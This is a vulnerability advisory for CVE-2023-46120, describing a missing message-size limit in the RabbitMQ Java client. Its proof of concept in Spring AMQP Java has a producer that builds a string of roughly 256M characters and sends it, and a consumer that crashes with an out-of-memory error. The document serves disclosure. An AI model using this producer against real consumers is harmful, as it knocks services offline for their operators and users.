CVE-2023-46120: RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

Summary

maxBodyLebgth was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

PoC

RbbitMQ

• Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
• Start RabbitMQ

Producer

• Build a String of length 256M and send it to Consumer

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
 public static void main(String[] args) {
  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
  String s = "A";
  for(int i=0;i<28;++i){
   s = s + s;
   System.out.println(i);
  }
  amqpTemplate.convertAndSend(s);
  System.out.println("Send Finish");
 }
 }

Consumer

• First set the heap memory size to 128M
• Read the message sent by the Producer from the MQ and print the length

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
 
 public static void main(String[] args) {
  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
  Object o = amqpTemplate.receiveAndConvert();
  if(o != null){
   String s = o.toString();
   System.out.println("Received Length : " + s.length());
  }else{
   System.out.println("null");
  }
 }
}

Results

• Run the Producer first, then the Consumer
• Consumer throws OOM Exception

Impact

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.